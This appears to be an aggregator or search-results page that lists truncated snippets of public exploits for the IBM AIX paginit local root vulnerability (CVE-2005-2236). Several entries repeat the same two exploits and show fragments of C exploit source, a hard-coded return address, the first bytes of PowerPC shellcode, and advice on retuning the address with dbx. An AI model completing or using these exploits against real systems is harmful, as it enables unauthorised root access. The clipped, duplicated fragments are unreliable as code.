AIX 5.2 paginit Local Root Exploit

No description provided by source. / IBM AIX paginit root exploit I just wanted to play with PowerPC Tested on 5.2 intropy intropy at caughq.org / include stdio.h include unistd.h include stdlib.h include string.h define DEBUG 1 define BUFFERSIZE 8000 define EGGSIZE 4003 define NOP 0x60 define...

AIX 5.1 to 5.3 paginit Local Stack Overflow Exploit

No description provided by source. / exploit for /usr/bin/paginit tested on: AIX 5.2 if the exploit fails it's because the shellcode ends up at a different address. use dbx to check, and change RETADDR accordingly. cees-bart ceesb cs ru nl / define RETADDR 0x2ff22c90 char shellcode =...

CVE-2005-2236

Format string vulnerability in the paginit command in IBM AIX 5.3, and possibly other versions, might allow local users to execute arbitrary code via format strings in command line arguments...

AIX 5.2 paginit Local Root Exploit

Exploit for aix platform in category local exploits ================================== AIX 5.2 paginit Local Root Exploit ================================== / IBM AIX paginit root exploit I just wanted to play with PowerPC Tested on 5.2 intropy intropy caughq.org / include include include include...

AIX 5.2 - 'paginit' Local Privilege Escalation

/ IBM AIX paginit root exploit I just wanted to play with PowerPC Tested on 5.2 intropy intropy caughq.org / include include include include define DEBUG 1 define BUFFERSIZE 8000 define EGGSIZE 4003 define NOP 0x60 define ADDRESS 0x2ff22fff-EGGSIZE / lsd / char shellcodebinsh = "\x7c\xa5\x2a\x79"...

AIX 5.1 5.3 - paginit Local Stack Overflow

AIX 5.1 5.3 - paginit Local Stack Overflow / exploit for /usr/bin/paginit tested on: AIX 5.2 if the exploit fails it's because the shellcode ends up at a different address. use dbx to check, and change RETADDR accordingly. cees-bart / define RETADDR 0x2ff22c90 char shellcode = "\x7c\xa5\x2a\x79"...

AIX 5.1 < 5.3 - paginit Local Stack Overflow

/ exploit for /usr/bin/paginit tested on: AIX 5.2 if the exploit fails it's because the shellcode ends up at a different address. use dbx to check, and change RETADDR accordingly. cees-bart / define RETADDR 0x2ff22c90 char shellcode = "\x7c\xa5\x2a\x79" "\x40\x82\xff\xfd" "\x7c\xa8\x02\xa6"...

AIX 5.1 to 5.3 paginit Local Stack Overflow Exploit

Exploit for aix platform in category local exploits =================================================== AIX 5.1 to 5.3 paginit Local Stack Overflow Exploit =================================================== / exploit for /usr/bin/paginit tested on: AIX 5.2 if the exploit fails it's because the...